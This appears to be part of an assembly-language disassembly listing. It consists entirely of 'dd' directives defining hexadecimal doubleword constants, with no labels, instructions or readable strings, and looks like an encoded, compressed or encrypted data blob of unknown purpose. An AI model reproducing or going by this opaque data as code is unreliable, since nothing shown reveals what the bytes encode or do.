		dd 36333B9Dh, 807E78A1h, 66AE6940h, 684309C5h, 0A0C0EE52h
		dd 0EDE8834Bh, 8C062311h, 0C09EB6E9h, 81C4AF34h, 0A07B056Eh
		dd 0C883017Fh, 33AEA08Ah, 0F0C7F8C8h, 3940BE31h, 885F3363h
		dd 0E5B5A306h, 0C32A3194h, 3656C424h, 0D6BAC770h, 203958F6h
		dd 4E300FA3h, 0F58E080Bh, 62A8C696h, 355680A0h,	84F7CE78h
		dd 3454B22h, 0A4984D66h, 7CB6FE91h, 9EF72E04h, 0E3047EFDh
		dd 9200E08Eh, 0C48C4E80h, 0E8BAE08h, 0EE0AB02Eh, 0CFC0F8Eh
		dd 60A0A1B9h, 3008A265h, 18029C7Ch, 71FFF3D9h, 2F89DB43h
		dd 11779C5Fh, 181B673Ch, 3F99FC23h, 0A208C80Ah,	140B8E06h
		dd 9C325798h, 0DD39BFC0h, 838082CDh, 2C49C824h,	0EE291990h
		dd 935E50A0h, 4962B131h, 4E015D63h, 6DEE0172h, 1352098Ah
		dd 584518A0h, 0B49A658Eh, 0C0983157h, 0E2A7AA56h, 0D3C38181h
		dd 680E5018h, 0AF2CCE08h, 8DB19E9Ch, 61A1AD23h,	2B41952Ch
		dd 0C1B3F390h, 31102ADh
		dd 70399573h, 0D02D3190h, 88C5A6Eh, 0EED03A4Eh,	7F985FF9h
		dd 42A92911h, 8809E314h, 864AE19h, 88BEC62Eh, 271F0608h
		dd 0CA4384F5h, 8EE0C11h, 1240324Eh, 8CBE2D50h, 0E9228970h
		dd 0CD2331B0h, 8CECCE40h, 48438E08h, 9428572Eh,	0EC8F82C3h
		dd 832091F6h, 276E2BD5h, 0FB02E384h, 393CCDF3h,	27716563h
		dd 11B0807Ch, 10481662h, 0AE15E9C3h, 0F1B7782Ah, 88CB6239h
		dd 0CF4A339h, 0E781EEEh, 0C1742956h, 3A230258h,	52420311h
		dd 0E8C564B4h, 6C128441h, 83E3398Ch, 9A4CE4E9h,	0AA0A1BE8h
		dd 0E0D2B540h, 880BE64h, 106B73C7h, 508C438Ch, 806257EEh
		dd 910D63C1h, 8F231117h, 7C653995h, 1252FB0h, 197C9320h
		dd 30971F83h, 67C5B65h,	816764C2h, 0CA631939h, 8BEFD896h
		dd 6145AE08h, 0C8653800h, 891F7C1Eh, 518298EFh,	89CAF5C3h
		dd 0D3637C60h, 0A96029B6h, 85AB8220h, 0A321C123h, 0FC60A629h
		dd 8E08C55Eh, 4B847C5Fh, 1B16CB11h, 412E0319h, 73EE0182h
		dd 51A20999h, 76905F62h, 0C62E611h, 38BFE319h, 846C142Eh
		dd 28E2083Ah, 430B7BE5h, 21942626h, 618E2408h, 79B4F804h
		dd 7CA7AB11h, 0F4390131h, 5C08959Fh, 0D7D1F084h, 81B4678Dh
		dd 0F0397C83h, 0A81108D6h, 41BAB17Ch, 84128F5h,	30A0DAE4h
		dd 60570704h, 0C7C0DB32h, 4313C101h, 3B21835Ah,	0B3B4A5B7h
		dd 0DCD780CAh, 5208CCD2h, 0BF001C21h, 0CE6ACFA5h, 0D08801h
		dd 0D86665A8h, 5E3AE2F3h, 7DB10F00h, 64192427h,	0CC8330E8h
		dd 40470718h, 0E12E601Fh, 4C7E045h, 3806E85h, 3C655BDBh
		dd 10D0285Fh, 64153h, 0C8C055Ch, 0FC60E97Ah, 0B06F1950h
		dd 41C48163h, 80DEBC8Ah, 4D13FAE9h, 3F1F640Ch, 9E6E072h
		dd 9A0021E9h, 0A4414D0Bh, 5DF0E2h, 5303764Ch, 3E917BFBh
		dd 2610DB0Ah, 48398E5h,	0B0BB9AB0h, 33923FBFh, 0C8089763h
		dd 0A81F2100h, 0E3AFD9Ah, 0B2E9078Ch, 0E03E6A5Fh, 0C48F9890h
		dd 68A9B4A8h, 10C076ECh, 47BD4EE2h, 8C7E34h, 0B573D0F5h
		dd 5CED1D78h, 90A46500h, 0BA88CDA3h, 0C4110027h, 182F31A7h
		dd 0E600DAC3h, 0DDC53B96h, 3D8EEA9Dh, 0AA3AFA46h, 0DE6FD720h
		dd 0FB9309h, 0C51476D5h, 7B00BB88h, 3CBD8B06h, 58E68F1Fh
		dd 39602FBAh, 2CDFB945h, 0D23F6F01h, 5A9257CBh,	440F48BEh
		dd 0BAE1550Eh, 0D5938F50h, 0D76080E9h, 6F02F40Ah, 21F30673h
		dd 8CB6BBBh, 2921D460h,	0F5202FCh, 44BD2AEEh, 49E6B626h
		dd 0F6019146h, 23737502h, 88D50C22h, 23FFE27h, 1D3480B9h
		dd 0C148B53Eh, 0B00A6380h, 0C80C3A2Fh, 0D18A6EC2h, 42362AEEh
		dd 6BEF084h, 0A73CFEF2h, 0C8080B1h, 0C1015E71h,	0E788CAA8h
		dd 7CDF8F0Ch, 67567E20h, 0C2BD18AEh, 0C20EAD1Bh, 21B7D53Eh
		dd 40B94314h, 932CE768h, 4F4185FDh, 0DCC0CBDBh,	8A88F6h
		dd 21848BEFh, 0D33BBBA1h, 1FF21174h, 0FE984700h, 620176EEh
		dd 0FA1800D6h, 9DAAF0BFh, 900008DFh, 0B02AC871h, 555C32h
		dd 3EE2BCD9h, 6E060AFh,	8CB6523Ah, 30514EC6h, 60F0F829h
		dd 71871832h, 0DA001322h, 36388289h, 1A0E02Eh, 0C23216AAh
		dd 0D51F6AB9h, 57A240C7h, 0D3009C1Ah, 3B910FF8h, 0FE8FD38h
		dd 0D26044ACh, 1EC5A9A3h, 0E96431A8h, 0E2BDC200h, 40672972h
		dd 0E7680689h, 0A8035E08h, 20C7C5F0h, 6C81BC91h, 0B8BEDE59h
		dd 2E0D8400h, 6AADCADCh, 5B2F0B00h, 387656FBh, 69A31DDAh
		dd 0DB8506F5h, 2205D09Ch, 0C1F126A4h, 983C8841h, 0E9F0EC69h
		dd 4AC30090h, 0F7068053h, 123376ADh, 0DB0728B2h, 0D4C1003Ch
		dd 9E750B63h, 9AEC2DDDh, 8886C100h, 0AA2E7167h,	0EA653B2Ch
		dd 9637B980h, 17392FFCh, 47C82700h, 78B3DE22h, 153E1942h
		dd 5F3C193Ah, 0E6FFE004h, 0F4F100B6h, 22686F16h, 507D9D36h
		dd 32F7641Dh, 5F316318h, 383467A0h, 4714F7A5h, 0C721F7A6h
		dd 0F134CAA1h, 834C4B22h, 2E5EFCh, 0A0C6E810h, 1F146509h
		dd 0A221DC0Bh, 0C58407D6h, 0C486FC5h, 32756462h, 0C15199Eh
		dd 0D0218676h, 0C45A1064h, 4E228736h, 5232FC1Bh, 660C4E19h
		dd 84B57786h, 0A9218243h, 0C4C84A90h, 247C7E65h, 726CA9F7h
		dd 18A95A0Ch, 0A9390C86h, 0AE0C6A0Ch, 0C9624A9h, 7A0CA9B9h
		dd 4486980Ch, 5CFCC76Eh, 2119F922h, 6804D7DFh, 0E3481A02h
		dd 8FE29980h, 49FC251Dh, 51000026h, 0E7BE2747h,	870034BFh
		dd 9F31E1DEh, 0FC36A9h,	0F2F061FFh, 69C862E2h, 0F599911Dh
		dd 0C652901Fh, 0BAEB2441h, 0C8532228h, 2061AA2Dh, 890ED8BCh
		dd 3A556380h, 9904E772h, 0C05DD403h, 322A57C5h,	0CA7C50A0h
		dd 6CF61F3Bh, 3016A094h, 1B8930D0h, 0EA6F4DFEh,	2233C3A8h
		dd 0A438E9E6h, 0B3768882h, 1C952301h, 0EE41179Ch, 1A2CDD0Fh
		dd 8FB55840h, 69BF84Eh,	0A9BF268Ch, 0CC005015h,	0D2A560ECh
		dd 0C734D017h, 57F07D59h, 8580CCACh, 0EF939000h, 0EA940560h
		dd 0C8325229h, 250C8E3Ch, 3E5191BFh, 0A64633Eh,	142A3ABDh
		dd 68E4CC8Ch, 716436Ch,	0C7A293EEh, 0E94A8E20h,	0E3E80540h
		dd 12FB5FEh, 5B11F5C0h,	8DF88E29h, 49BD206Eh, 0E0FA03E1h
		dd 5A9E0066h, 0C9871B97h, 0B9C885CBh, 0C09686F8h, 0A2009975h
		dd 0C52D15Ah, 97E84E4h,	69FEF828h, 70D2A0A0h, 53065F14h
		dd 0A5FF924Bh, 43EE2819h, 81346468h, 0EBCA3C38h, 0A8D2DECCh
		dd 1D858DC8h, 433A03h, 0BE7EEF9Dh, 0B805C964h, 1479BFC1h
		dd 1095C04Ch, 0D5A9DEF1h, 0EA0CF48Ch, 7889F9FEh, 77B4F650h
		dd 518F562h, 142003Bh, 9CA0E47Eh, 0A663C4FCh, 3110FFF8h
		dd 60184239h, 2AB700C7h, 0B6E31DE7h, 2C223E2Bh,	841DFF29h
		dd 0A6E7C04Fh, 0C044117Dh, 0C3A7BD91h, 823E1F2Dh, 0B4F724CAh
		dd 0BC87E78Ah, 1061EC0Fh, 0C53E7C56h, 839447A4h, 4AE5B866h
		dd 0D13C7EA0h, 50ACD949h, 13EB6148h, 8014B484h,	0DA1CA33h
		dd 0A178F10Ch, 3AF0401Dh, 0C91496E4h, 7504A092h, 81C82A19h
		dd 0D2F75954h, 1FB59484h, 0BDB77707h, 3A80D52Fh, 0BE8F1DBFh
		dd 0A2790A18h, 0FC2207CAh, 73FFA3EFh, 0D5A115B1h, 0BF408A56h
		dd 8C115041h, 222CE30Eh, 59083253h, 12536423h, 5F25E08Ch
		dd 50118974h, 320A642Fh, 0E7B78AD4h, 0C9EC08C4h, 77718D98h
		dd 2DBD149Ah, 27A0301Ah, 8854553h, 0E20463EBh, 2709A2EEh
		dd 5FCE4804h, 0F0698886h, 2D1E0930h, 4803C14Fh,	81DCC0FDh
		dd 0C87D14h, 0F41D51h, 1123E96Bh, 0EFA4DC20h, 9400109Bh
		dd 54644004h, 0E9F3052Fh, 4812C76h, 2177DA8h, 804CFF9Fh
		dd 0D7301E28h, 48A33AC6h, 0A0A66014h, 0BC832449h, 0EDF85A03h
		dd 9850B794h, 409051E0h, 286720h, 685FDE7Ah, 2DBEE5D5h
		dd 65299C04h, 8CCE1E01h, 84B1F610h, 5082E50Bh, 0AF741656h
		dd 0F11D5F09h, 0D258B018h, 2864EE02h, 0E60B11h,	0C7A6CA3Ch
		dd 0D4701E50h, 0FF2422EAh, 56809CB0h, 0CE2EE328h, 90182C3Eh
		dd 23A30144h, 67FF99CBh, 0C0F07748h, 0A89C3401h, 0D3EDB9CBh
		dd 99F88425h, 0D1CC69ADh, 1058B808h, 9C7C8135h,	0E9B22DA9h
		dd 0ACC1C9B8h, 2610BBEDh, 9F4740DFh, 310FE2B0h,	3AF4AEFh
		dd 0CDBAA520h, 0D8572102h, 0A9E0032Ch, 1F848084h, 50EC8E30h
		dd 84B218A8h, 83B9C819h, 76ECD569h, 349E48EFh, 0A240DF88h
		dd 0F6C0A32Fh, 6901EC5Fh, 9480D11Fh, 0CEF12CF7h, 23106506h
		dd 1E6998ECh, 146478A0h, 3020089Ah, 0AA23AB47h,	2005FF09h
		dd 1BD61E98h, 81D6784h,	0FE69E71Ch, 71DA075h, 438000F0h
		dd 0A39CA1D4h, 0B8420400h
		dd 1B4DE2E4h, 7DF103AFh, 6A078845h, 285126D2h, 0FBCA9D40h
		dd 141130E6h, 0BCE48D19h, 0C5A01E54h, 888CED14h, 51DE03E4h
		dd 25EEC31h, 9A82F641h,	0CC40E8DCh, 2924D892h, 5B407CDBh
		dd 17BDC70Fh, 1DCF4E23h, 0F0D00137h, 22BADE91h,	2046C420h
		dd 2910C810h, 1FF862FCh, 0C892ECh, 651C75D0h, 0F07BF12Dh
		dd 0D0AAB6A4h, 318D55C0h, 633FD9CFh, 0B1996583h, 518028E8h
		dd 64147C47h, 0B03C39C7h, 23BC1B5Bh, 0A570E011h, 0A2B7841h
		dd 46E29AD0h, 0A5EF4430h, 0E74808F4h, 1C267507h, 1960CBF9h
		dd 80E9EAAEh, 7F81716h,	395CFC34h, 80DB2AC3h, 0FD5E387h
		dd 0AA1DC979h, 9959CCA0h, 0D0B9D846h, 0C92CBF0Ch, 0D07D0035h
		dd 0B6CE1EFCh, 0F00D8C2h, 0F40D68DFh, 0B745FAh,	90BBA78Eh
		dd 7564E47Ah, 11382A62h, 0C2E8A046h, 0FBC1DBh, 643DDA88h
		dd 5CB0F1EDh, 8DE16B06h, 1D285ADEh, 9DEF4716h, 0E9394450h
		dd 4A708812h, 9D10171Fh, 0BAC17C01h, 75EC37DEh,	0BBE40F1Fh
		dd 0F12F1C53h, 8D0E2680h, 0FF2283FAh, 957E06B4h, 12B83598h
		dd 9BCFAB00h, 0BE5B4BA1h, 0FF5700EDh, 9DEF8186h, 0E4028F8Ah
		dd 19E08C5Fh, 0C910C1FBh, 0DA93F4h, 15AC3E2Bh, 951C915Ah
		dd 6603017Eh, 0C842790Fh, 26F8002Eh, 0BA54CF69h, 0DDA1EF11h
		dd 39BDF153h, 0A02B0424h, 4701C7DAh, 800FFC99h,	7F75F050h
		dd 7661E80h, 0F58459AAh, 0E117DB6h, 0E14F8304h,	210002Fh
		dd 0E54EDBB3h, 0FC3F4A54h, 0D77B80B1h, 4F36379Eh, 0EBE43117h
		dd 12DCBB28h, 9C431076h, 88E3EB88h, 3289D0CDh, 9644FF08h
		dd 0D828A0BFh, 133E89D1h, 9323E016h, 6CB4004Bh,	0B74CCDFEh
		dd 0CA3D7727h, 20AB0046h, 72AF1C8Eh, 719026DDh,	0FCFB07B0h
		dd 8483E016h, 0AD00F0AEh, 4D4E2BE5h, 34C52CDh, 0BEDD44ECh
		dd 5D903AAFh, 0F008FB4h, 30C3E777h, 77419547h, 0DA3B3E19h
		dd 49E0F800h, 6EC9A278h, 9A668F1Dh, 0C66F8440h,	3F2F10E9h
		dd 3581E724h, 8BD617B3h, 2AE5E81Eh, 0B048252Ah,	1D03617Dh
		dd 0DE01CC4Eh, 54503FAFh, 79DD5100h, 0F46FD753h, 82444300h
		dd 0AF5A099h, 0C76E3C5Fh, 0BEF9A483h, 68FEFADFh, 0E19F4100h
		dd 82BB118h, 335C11E0h,	3D670535h, 0E41334E2h, 0D2B62500h
		dd 0A9FD1Bh, 0FBEFBF8Fh, 9B8AC177h, 945EE528h, 1F5348h
		dd 2EAA7A78h, 4F6A11h, 0B89CD579h, 0EC35CB8Bh, 8160883Ch
		dd 0D11D9357h, 51206EA1h, 0EB41005Dh, 6059F1A7h, 0B151343Dh
		dd 0E744608Ch, 4921BE18h, 929206B0h, 0D5100334h, 0C5457A96h
		dd 30C40AB8h, 0D3FD2401h, 440CEC41h, 13F5C4h, 81C5BE21h
		dd 94F752EAh, 0AC2E5000h, 4DA5B154h, 0FC4F0680h, 581CD4D0h
		dd 1743D53h, 20AFB918h,	0BC4A129h, 6049074Eh, 0B1945AD4h
		dd 801E47F3h, 9B78C87Ch, 31460Eh, 1C15A5C2h, 0D01AAC4Eh
		dd 1DF9B200h, 32AE507Eh, 2E253D5Dh, 0B7888D80h,	0E26CCA2Ch
		dd 0FCDB4B00h, 0EB581E73h, 0E96D00E1h, 878B6140h, 2200C59Fh
		dd 0BEFC5999h, 0C02E28h, 45D7B3CEh, 86862ACh, 6000F7Eh
		dd 444F259Bh, 3F68164h,	8FCC84E9h, 0EFAB7362h, 0F7871CE0h
		dd 0BD986701h, 0C4D24FCEh, 35C39447h, 9A212E24h, 1AE5005Ch
		dd 110C26B2h, 6AEF4950h, 0EC3F5500h, 3BD15B7Ah,	0DB50016h
		dd 658951Eh, 920377F5h,	0DE53BCA7h, 6ABFD03Eh, 9C2850DFh
		dd 0F1850107h, 97CD5CEAh, 37D8CC99h, 6214BE70h,	3E81972h
		dd 0AC63CE08h, 0FCEF9995h, 80C0B7C3h, 0B5392Ah,	4DD896CFh
		dd 4851A297h, 565BAE00h, 0BDE5F4A0h, 8D7F001Ah,	0F8CDB325h
		dd 6A000D9Ah, 941F2801h, 273E7C7Dh, 0A8C092C8h,	0E1031553h
		dd 0C683D3C4h, 88F688CAh, 437FE0h, 2A67273Eh, 0A8D69C16h
		dd 60000AFAh, 0A933CE35h, 65074Fh, 5ADDF5B1h, 0D67BBDA2h
		dd 9EB00B1Dh, 6352D3C3h, 0B31EC090h, 86950F6Ch,	0F56CD893h
		dd 0CB1CAE11h, 0B2142A15h, 332603CCh, 0C032A56Ah, 121B7D4Ch
		dd 302210Eh, 3DAB3007h,	73661900h, 565069CCh, 0F4649035h
		dd 0B89A6Ah, 0ED779363h, 3AD5B65Fh, 30FE850Ch, 5B7013h
		dd 77D65EB9h, 3CE40BBAh, 2A6D5400h, 0CAB86210h,	43EE004Ch
		dd 0D63ED456h, 80066C1h, 0BC1A15C8h, 59A70Bh, 0EC2DB834h
		dd 0A09BEE87h, 7D29F000h, 0C5A33320h, 0EC7C5030h, 4C2A3AA5h
		dd 31EB4580h, 2E17E59Dh, 0E6A6AA00h, 0C19F1CCAh, 42C730C0h
		dd 0EBA56D92h, 0EF54000h, 1090EA80h, 0CDCF0050h, 1DDCB064h
		dd 96262A1Eh, 25002584h, 680588AFh, 5DFA0018h, 0DB7DA5B7h
		dd 0E6004D40h, 2139CEE5h, 0C2B8AEh, 0EC462886h,	738B7EEEh
		dd 570D971Ch, 0D812F680h, 2484D145h, 0E164802h,	24C27B1Fh
		dd 0F440FE7Ah, 46148B60h, 940ABFh, 0D0103473h, 0B0B6F0C5h
		dd 48DC0391h, 42EAB42h,	65864A88h, 0DE933D27h, 0CC200F0h
		dd 0AF08D809h, 0D9C3ED00h, 0D6B6B2B4h, 0CC61005Bh, 4ABC8E67h
		dd 0DC002EC4h, 1674C8BBh, 45FD6Ch, 20C92BB9h, 7C3EAC42h
		dd 0E83CE500h, 1D2377C0h, 5F9E0B60h, 2700DB8Fh,	6E66DEC9h
		dd 0E78EA38h, 0C0192B6Ch, 44A9DDE0h, 0EFE60047h, 5CFD407Ah
		dd 1000FFB5h, 0FEE105BCh, 9DE0C8h, 0A0AD26D1h, 0C14965E2h
		dd 0F336ED03h, 0F86A4114h, 7629957Dh, 528D13AAh, 0F2D800ECh
		dd 0B48F6DBEh, 0F305CCF9h, 0D81BC924h, 3800B012h, 0C70B1E94h
		dd 0EC8EF825h, 22520368h, 9FBFB7ADh, 796A3FD8h,	1CE848E1h
		dd 1285AE00h, 88ED3567h, 81A101B5h, 2AC911E5h, 64D82021h
		dd 6CB01624h, 0A9049040h, 0BDFA00D1h, 55AC8E98h, 0B51E5140h
		dd 250C82FDh, 8FAC2Ch, 76AA535Dh, 0B4079A61h, 0D31BB300h
		dd 58B03C22h, 4CB9F8B5h, 450B7864h, 3000AD9Ch, 3D3E14F5h
		dd 83113060h, 0B6751Dh,	7E49CC8Bh, 9069A98Ch, 2C6D4602h
		dd 639CA358h, 0EA1CB823h, 7EA0A8F6h, 21AFAC8h, 4B97FD50h
		dd 6440E244h, 9F0FF286h, 6340D482h, 0B0C46ECCh,	5852E84Eh
		dd 0DD00AE41h, 0AB502968h, 0FA4C9875h, 85FF1F9Fh, 0E8078796h
		dd 56300F26h, 483C2973h, 64500E71h, 0F6BC0096h,	4E347E31h
		dd 610916ADh, 909E10Ch,	98D90760h, 641738F0h, 467D2C25h
		dd 0F4330090h, 49DEA3C2h, 57E6437Eh, 42AFAB00h,	0D0401B4Bh
		dd 82D300C7h, 9375BA64h, 540ABEDAh, 9C0E4DF6h, 8699FF00h
		dd 0E238A11h, 5BDFEF4Ch, 0D0B5A6E3h, 0DA84CA80h, 24ABE017h
		dd 70802C1Eh, 0BF0977B2h, 0C41F09F9h, 0D88EFAA1h, 0CC62BB40h
		dd 8B00DE84h, 353E14Dh,	4BA7A9h, 34017367h, 903F13E3h
		dd 4C2ADF2Ch, 0AC980700h, 76564D9h, 4F17810Bh, 537330AEh
		dd 32C34CCh, 80096F6Fh,	960280C8h, 4751C4h, 40BE50AAh
		dd 0BD554445h, 0B400BCB8h, 23D1E75Dh, 65877Dh, 4F47EEE0h
		dd 93A6A489h, 0B66D1F00h, 46D82EADh, 434833E7h,	5EE8DF40h
		dd 0FCEEC978h, 59644A31h, 0B0F415E7h, 49D81430h, 7105F2E0h
		dd 0F3DA03h, 0EEFDF4C3h, 0AC0048ABh, 0E8B2295Dh, 0E8C7C33Eh
		dd 1FC500CAh, 0F4C63387h, 11C05EFCh, 0C441865h,	3DC900E2h
		dd 0A5BE1D13h, 7C1F0D7Bh, 48BC503h, 42D48464h, 3DD08A4h
		dd 3899D9F7h, 23C0B935h, 9C008557h, 0EA6FB89Fh,	9B4050h
		dd 7D4F2C2Dh, 6EE53876h, 0ED08C200h, 0B4A5581Dh, 0FCD7129Eh
		dd 0BD7707C8h, 0E96B80F0h, 0DB003F0Eh, 3B69750Bh, 4EC111h
		dd 244CA5Dh, 0F664CE2Ah, 7A21B403h, 0C1533466h,	79608368h
		dd 0FCDF00C6h, 0C8827888h, 0C0008A91h, 2337455Dh, 758E9AEh
		dd 150D124Ah, 94EF0A0h
		dd 4F0E85A4h, 0D9D04Bh,	3F620358h, 45FF038Eh, 0F123E9Dh
		dd 0D9BB6AA8h, 0A59FD100h, 1AB44C49h, 8CB3007Dh, 0FA3CA399h
		dd 0DC0032B9h, 28800C4Ah, 0A01539A6h, 2873E594h, 10EC4791h
		dd 0BB2AC5h, 1B3EB1AAh,	1ED25C76h, 0C0DDAE3Ch, 58D48588h
		dd 0C92CB511h, 4300F468h, 0A7B7277Dh, 4E7203F9h, 0A83AEC8Bh
		dd 0B19320B7h, 83007E46h, 135807F0h, 1E954B6Eh,	416AE477h
		dd 0D381D71h, 728AC96h,	89EA400h, 39F3F86h, 0E7A78CABh
		dd 8FC0B4D8h, 520EB3F0h, 0DFAF7E4Eh, 0A008534Fh, 0A756B2Ah
		dd 58B90025h, 238DB787h, 310003B3h, 99523076h, 0C7CF17h
		dd 12F333F6h, 728FDA58h, 0B1F7B903h, 93EF39E7h,	552A08Ch
		dd 0FD7D0086h, 7AA546AFh, 1F988854h, 622D5616h,	0B004CF8h
		dd 0B7524523h, 0E00D73Ah, 0DFD5D96Ch, 0E379E11h, 0F79C8F2Eh
		dd 5F7A91F8h, 0DBF4E460h, 517964h, 0B41039BBh, 6E93D81Bh
		dd 0F4F6CD00h, 7E4D31F7h, 4BF3095Fh, 1060E6E9h,	8004217h
		dd 1F75FE03h, 3BADD6D5h, 0F900AE3Dh, 0D4603B1Bh, 0BF004D33h
		dd 0A9FB06ACh, 10AB64h,	9E77122Dh, 0E1025548h, 8117C200h
		dd 18223A8Dh, 0FEC90F4Dh, 0C33EA87Fh, 36F68BAh,	85605800h
		dd 9C8D017h, 0BE9700CAh, 0F3538451h, 0B0005024h, 0B9FC2B46h
		dd 76192925h, 0E98F0BF1h, 4A003B2h, 71D24044h, 0C427407h
		dd 1301B2Fh, 37BAADh, 2DED1681h, 5F77875Bh, 0A200CC71h
		dd 436E896h, 5468FD25h,	0E474E049h, 77C22651h, 1991F8Ch
		dd 1E26FC78h, 87708090h, 69E59EAEh, 0A02E007Dh,	0B4D6086h
		dd 0C97C22CBh, 0EFA96709h, 57A8275Eh, 7DE99DC1h, 502FF060h
		dd 4CD6CC78h, 6C0195F0h, 2A298395h, 7B5AF4D5h, 7400E8B8h
		dd 67FBD7E0h, 53244Fh, 0D246C1ACh, 479926B7h, 0B590D04h
		dd 34913908h, 0FAD445BDh, 0EB6E0538h, 80E3D0D8h, 24360A7Ch
		dd 0C5590300h, 7E567CFh, 13DEA38h, 0BB5DC4D7h, 0D8C6ED61h
		dd 11EDA2Fh, 664ED88Fh,	0CF0C4008h, 0B892AB5Eh,	0ACF60200h
		dd 0EBB7E5D5h, 0E8227CC0h, 0A3BC5F5Bh, 276C0907h, 3C68A0B9h
		dd 0F500DBB8h, 0E5836DF8h, 1EE956Bh, 5D6E4ED1h,	0E8F343FEh
		dd 94008630h, 0C2443342h, 5B89C1Dh, 2F7E4B04h, 0E348804Ch
		dd 2D07AE0Bh, 0B103B92Bh, 0CDE04290h, 0AB775019h, 0A78113EDh
		dd 3A0000Fh, 0F3945BD9h, 0C444F801h, 43CCDD11h,	3CF12D8h
		dd 5146A69Eh, 0D6D8FD3Ah, 11009C07h, 0ECF66B96h, 0B06672FFh
		dd 0FE8B0F6Ch, 5140EE4Bh, 0C4F72FAAh, 0F09437F4h, 8A3C0502h
		dd 0F5D88006h, 0F684ACECh, 0E66B00C3h, 0EDAE61E4h, 9B0D5264h
		dd 28070F14h, 0DD62C4h,	65CC392Ch, 8DE3ABEFh, 401689Ch
		dd 88AC822Fh, 0B44870h,	0D7DD8570h, 9198A1C1h, 78EB100h
		dd 7AF0C666h, 849300FFh, 54821712h, 8258FACh, 1319405Ah
		dd 0EAB718A8h, 3BB01852h, 9A752B00h, 0E60BC9FAh, 562A073Fh
		dd 70A2BBFCh, 0D07A27C3h, 0CF97FE00h, 8A035FF5h, 90C907E5h
		dd 0A0BEFC4Dh, 9FD9A2C0h, 4AD5BC00h, 9C5AABE7h,	420700AEh
		dd 0D872785Fh, 0CB76EF95h, 143DC224h, 0DE5F030h, 96150313h
		dd 23B13A31h, 2DE1948h,	71B9F0DEh, 0A88CE392h, 2AB2288Eh
		dd 0B00DF4h, 364EED22h,	12C0084Fh, 448FCC00h, 0FBF29C19h
		dd 52D51F79h, 2B34001Fh, 8029F082h, 0DE78F416h,	794A1E02h
		dd 0F960E48Ah, 503045D4h, 0D6EC02h, 1B9F5627h, 5E98D2C3h
		dd 7EFD5Ch, 3E8DD720h, 0BE88260h, 0A329E0A5h, 96F29C40h
		dd 21EF7202h, 0A15FCA55h, 4A502BE8h, 0C079D028h, 0EB528DC8h
		dd 0A11834E8h, 87291D16h, 0B5795Dh, 938FE786h, 15F25313h
		dd 1DA9451Ch, 80E1EB40h, 0FAB4EAh, 8C3CE3C6h, 849AEC95h
		dd 2058446Bh, 1185264h,	7D27006Ah, 95A60216h, 0F4A07BDCh
		dd 0FE25251Eh, 0F07C8050h, 7E7588h, 49186807h, 7DC4CDA0h
		dd 166DBF1Dh, 2C6FC9CFh, 0B075A432h, 0EF133877h, 8583A6h
		dd 0DFF09F31h, 6E0A24ACh, 0C070B7A5h, 56BF5100h, 76FEE542h
		dd 0E3260E05h, 0E2044AEh, 0A0A75425h, 52E9E707h, 74232C10h
		dd 0DAAFE0E6h, 7E571003h, 21680764h, 405B2F6Bh,	8BD4DB18h
		dd 0C3CD5CC0h, 0A8CB8103h, 1062642h, 0C6718378h, 212BE3D2h
		dd 1DB4F8E0h, 50BEBC30h, 89DB82h, 6CBE992h, 72977D4Ch
		dd 276D3D09h, 60EC014Dh, 0E440A76Fh, 3E59C0EEh,	4780DDA2h
		dd 5E97C5Eh, 0B93A7BA8h, 79F38FBBh, 0CAA48459h,	6BE0F887h
		dd 0A201Bh, 41C5EEFDh, 912F2BACh, 5257BB26h, 929E5D03h
		dd 0FDB0E828h, 487F482h, 0C815B49Ah, 0DEA0812Dh, 8F19D8A4h
		dd 0DC40D4A2h, 74001FD1h, 42514066h, 90792F99h,	39140C14h
		dd 6E2890A4h, 7E94D50Ch, 40BA017h, 3FAB4374h, 0F30880B8h
		dd 340092B3h, 48B1549Ah, 891E4Dh, 0C3DA6214h, 55AD9430h
		dd 0C0F0BC09h, 19A0806Eh, 1CDFEC1Eh, 40B6F9FDh,	0BED0151Bh
		dd 43013FC0h, 0C3F8CBB0h, 0B2F4380Fh, 0A3BF2E01h, 0B7A280A8h
		dd 1EE6901Ch, 3FD51509h, 0CDE80071h, 0ABF4A5h, 24B99148h
		dd 0EE8FC634h, 7E5D5403h, 0B8C4C1E8h, 0B809EA2Fh, 0DFB0EC9h
		dd 888E5E50h, 4805E42Bh, 0FD18A452h, 2DC10600h,	0A4129080h
		dd 0B6FC00CFh, 1D859903h, 323CA70Dh, 9A10803Ch,	249E50C3h
		dd 23C90026h, 6F158FCBh, 1A16ED45h, 480EEF80h, 0E0A2A95Ah
		dd 96F71E28h, 2C1B01C0h, 3045C8EFh, 79013B62h, 1CEE6F97h
		dd 48FAC70Ch, 3762D8h, 0AC3C2EDh, 8B63FF43h, 0FCB09374h
		dd 562D8101h, 0F372FCB6h, 0FD1413D4h, 0F609C02Dh, 4C207A5Ah
		dd 10CA35C4h, 3A24E4E6h, 9401940Dh, 665E0277h, 8D137C6Ch
		dd 0F278404Fh, 594AE524h, 1A0528C0h, 305674h, 0F7A8C365h
		dd 3DD6FAA1h, 9D0DAA12h, 69F12C01h, 0C9E42CC2h,	8AF40620h
		dd 0E85F070Eh, 9A5C4B0Fh, 55782099h, 0C0588DC1h, 2E9BF618h
		dd 0E8009308h, 0CF871792h, 269C5EC4h, 130143Dh,	3945C3F7h
		dd 8F30F01Ah, 0F9D77C00h, 927D4BD9h, 81F12CA7h,	4F5103E8h
		dd 88C07446h, 2F000ED1h, 94E6C2E4h, 1F908619h, 0C0F842BDh
		dd 0FE086FC8h, 0E70096BEh, 0C7A7FA16h, 304A3Ch,	0ED0FB43Ah
		dd 508058C8h, 0D7213816h, 3577F8C0h, 0C983004Dh, 520DE2A1h
		dd 870F2A4Bh, 20B0B81Dh, 5A553EA3h, 0B300035h, 93BB2B81h
		dd 450078FBh, 6BFE9236h, 0F49DC9Eh, 526A15D8h, 87A0CD8Eh
		dd 9FDF32F9h, 9B4D9771h, 908F00DCh, 0EC43E5EEh,	28FB0A7Dh
		dd 0BC72249h, 2382A67Bh, 0FC447ABFh, 5EB58F3Bh,	0D3E8BC70h
		dd 887A0F21h, 0AB807533h, 8CD0A46Ch, 0E38E9E00h, 0BEFFBC11h
		dd 71BDF0ECh, 82291F9Bh, 4BF1804Ah, 0CA73F76Fh,	0A49B818h
		dd 66C7D0h, 4CBED568h, 0C90B72C5h, 9C00194Fh, 0C6248BA5h
		dd 7D9901B6h, 0EA4B67DDh, 14E09D73h, 54A6FAC0h,	29113h
		dd 9B33DC9Dh, 0B0893F7Ch, 0E46BA000h, 0EC647994h, 0EE870265h
